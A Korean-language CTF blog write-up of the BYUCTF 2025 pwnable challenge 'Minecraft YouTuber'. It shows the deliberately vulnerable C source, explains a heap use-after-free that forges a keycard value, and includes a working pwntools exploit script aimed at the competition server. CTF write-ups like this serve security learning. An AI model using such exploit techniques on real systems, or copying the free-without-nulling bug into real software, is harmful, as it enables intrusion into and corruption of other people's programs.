Notice
Recent Posts
Recent Comments
Link
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Tags
more
Archives
Today
Total
관리 메뉴

R4mbb

[Pwnable] Minecraft YouTuber 본문

Write-up/BYUCTF 2025

[Pwnable] Minecraft YouTuber

R4mbb 2025. 5. 18. 15:35

솔버가 가장 많은 쉬운 문제였다.

 

minecraft.c

더보기
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>

__attribute__((constructor)) void flush_buf() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

typedef struct {
    long uid;
    char username[8];
    long keycard;
} user_t;

typedef struct {
    long mfg_date;
    char first[8];
    char last[8];
} nametag_t;

long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;

void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

void register_user() {
    printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");
    curr_user = (user_t*)malloc(sizeof(user_t));
    curr_user->uid = UID++;
    printf("Please go ahead an type your username now: \n");
    read(0, curr_user->username, 8);
}

void log_out() {
    free(curr_user);
    curr_user = NULL;
    if (curr_nametag != NULL) {
        free(curr_nametag);
        curr_nametag = NULL;
    }
}

int print_menu() {
    int choice;
    printf("What would you like to do now?\n");
    printf("1. Register a new user\n");
    printf("2. Learn about the Time Keepers\n");
    printf("3. Collect gear\n");
    printf("4. Elevate to super user\n");
    printf("5. Change characters\n");
    printf("6. Leave\n");
    // 7 is try to free loki but it's not technically an option, you have to be rebellious to get there
    scanf("%d", &choice);
    if (choice < 1 || choice > 7) {
        printf("Invalid choice. You broke the simulation\n");
        return 0;
    }
    return choice;
}

int main(void) {
    init();
    srand(time(NULL)); int gear;
    printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");

    int input = 1;
    while (input) {
        switch (input) {
            case 1: // register a new user
                register_user();
                break;
            case 2:
                printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");
                break;
            case 3: // collect gear
                if (curr_user == NULL) {
                    printf("You must register a user first!\n");
                    break;
                }
                gear = rand() % 5 + 1;
                if (curr_nametag != NULL) {
                    free(curr_nametag);
                }
                switch (gear) {
                    case 1:
                        printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");
                        break;
                    case 2:
                        printf("You have received a Name Tag! Please input your first and last name:\n");
                        curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));
                        curr_nametag->mfg_date = (long)time(NULL);
                        read(0, curr_nametag->first, 8);
                        read(0, curr_nametag->last, 8);
                        break;
                    case 3:
                        printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");
                        break;
                    case 4:
                        printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");
                        break;
                    case 5:
                        printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");
                        break;
                }
                break;
            case 4:
                if (curr_user == NULL) {
                    printf("You must register a user first!\n");
                    break;
                }
                if (curr_user->uid >= 0x600000) {
                    printf("Well, everything here checks out! Go ahead and take this key card!\n");
                    curr_user->keycard = 0x1337;
                } else {
                    printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");
                }
                break;
            case 5:
                if (curr_user == NULL) {
                    printf("You must register a user first!\n");
                    break;
                }
                log_out();
                printf("You have been logged out.\n");
                printf(". "); sleep(1);
                printf(". "); sleep(1);
                printf(". \n"); sleep(1);
                register_user();
                break;
            case 6:
                input = 0;
                break;
            case 7:
                if (curr_user == NULL) {
                    printf("You must register a user first!\n");
                    break;
                }
                if (curr_user->keycard == 0x1337) {
                    printf("You have freed Loki! In gratitude, he offers you a flag!\n");
                    FILE* flag = fopen(filename, "r");
                    if (flag == NULL) {
                        printf("Flag file not found. Please contact an admin.\n");
                        return EXIT_FAILURE;
                    } else {
                        char ch;
                        while ((ch = fgetc(flag)) != EOF) {
                            printf("%c", ch);
                        }
                    }
                    fclose(flag);
                    exit(0);
                    break;
                } else {
                    printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");
                    printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");
                    log_out();
                    input = 0;
                    break;
                }
        }

        if (input != 0) {
            input = print_menu();
        }
    }
    return input;
}

코드 분석을 해보니 UAF가 발생한다는걸 알았다.

 

typedef struct {
    long uid;
    char username[8];
    long keycard;
} user_t;

typedef struct {
    long mfg_date;
    char first[8];
    char last[8];
} nametag_t;

long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;

두 구조체의 위치를 잘 기억하자.

초기화를 바이너리 실행 시 한번 진행해준다.

 

case 7:
    if (curr_user == NULL) {
        printf("You must register a user first!\n");
        break;
    }
    if (curr_user->keycard == 0x1337) {
        printf("You have freed Loki! In gratitude, he offers you a flag!\n");
        FILE* flag = fopen(filename, "r");
        if (flag == NULL) {
            printf("Flag file not found. Please contact an admin.\n");
            return EXIT_FAILURE;
        } else {
            char ch;
            while ((ch = fgetc(flag)) != EOF) {
                printf("%c", ch);
            }
        }
        fclose(flag);
        exit(0);
        break;
    } else {
        printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");
        printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");
        log_out();
        input = 0;
        break;
    }
}

플래그를 읽어오는 부분이다.

curr_user->keycard 값이 0x1337이면 플래그를 읽을 수 있다.

 

case 4:
    if (curr_user == NULL) {
        printf("You must register a user first!\n");
        break;
    }
    if (curr_user->uid >= 0x600000) {
        printf("Well, everything here checks out! Go ahead and take this key card!\n");
        curr_user->keycard = 0x1337;
    } else {
        printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");
    }
    break;

curr_user->uid가 0x600000 이상이면 curr_user->keycard에 0x1337을 넣어주는데,

유저 register 할 때마다 ++UID가 된다. 못쓸 것 같다.

 

void register_user() {
    printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");
    curr_user = (user_t*)malloc(sizeof(user_t));
    curr_user->uid = UID++;
    printf("Please go ahead an type your username now: \n");
    read(0, curr_user->username, 8);
}

처음 바이너리 실행될 때 무조건 한번 호출이 되며, heap 할당이 된다.

 

case 3: // collect gear
    if (curr_user == NULL) {
        printf("You must register a user first!\n");
        break;
    }
    gear = rand() % 5 + 1;
    if (curr_nametag != NULL) {
        free(curr_nametag);
    }
    switch (gear) {
        case 1:
            printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");
            break;
        case 2:
            printf("You have received a Name Tag! Please input your first and last name:\n");
            curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));
            curr_nametag->mfg_date = (long)time(NULL);
            read(0, curr_nametag->first, 8);
            read(0, curr_nametag->last, 8);
            break;
        case 3:
            printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");
            break;
        case 4:
            printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");
            break;
        case 5:
            printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");
            break;
    }
    break;

해당 부분에서 UAF 취약점이 발생한다.

gear 변수에 1~5까지 랜덤으로 세팅한다.

그 후 curr_nametag 구조체가 NULL이 아니면 free를 하는데, 초기화는 해주지 않는다.

gear의 값이 2일 때, curr_nametag를 할당한다. 여기서 입력받는 last의 8바이트 부분이 curr_user->keycard 위치다.

 

 

[시나리오]

1. curr_nametag 구조체 할당시 curr_nametag->last 부분에 0x1337 입력.

2. 다시 동일한 부분으로 진입. 랜덤으로 curr_nametag 힙 할당 부분으로 접근이 가능하기 때문에, 접근하지 못하면 free만 되고 할당은 되지 않는다.

3. 그 후 register_user 함수로 접근해서 heap할당을 하면 위 curr_nametag에서 사용했던 chunk를 할당 받을 수 있다.

4. 플래그 출력 부분으로 진입하면 curr_user->keycard == curr_nametag->last == 0x1337 이렇게 되기 때문에 플래그 출력이 가능하다.

 

[Exploit Code]

from pwn import *
import time

r = remote('minecraft.chal.cyberjousting.com', 1354)
#r = process('./minecraft')
e = ELF('./minecraft')

#gdb.attach(r)

def UAF():
    while True:
        r.sendlineafter(b'6. Leave\n', b'3')
        tmp = r.recvline()
        print(tmp)
        if b'first and last name:' in tmp:
            pay = b'AAAAAAAA'
            pay += p64(0x1337)
            r.sendline(pay)
            print("pass")
            break
        else:
            time.sleep(1)


r.sendlineafter(b'now: \n', b'AAAA')
UAF()
r.sendlineafter(b'6. Leave\n', b'3')
r.sendlineafter(b'6. Leave\n', b'1')
r.sendlineafter(b'now: \n', b'')
r.sendlineafter(b'6. Leave\n', b'7')

r.interactive()

 

 

이후 대회가 끝난 뒤 라이트업이 올라왔다.

https://github.com/BYU-CSA/BYUCTF-2025/tree/main/pwn/minecraft_youtube

 

BYUCTF-2025/pwn/minecraft_youtube at main · BYU-CSA/BYUCTF-2025

Contribute to BYU-CSA/BYUCTF-2025 development by creating an account on GitHub.

github.com

 

'Write-up > BYUCTF 2025' 카테고리의 다른 글

[Pwnable] Game of Yap  (0) 2025.05.18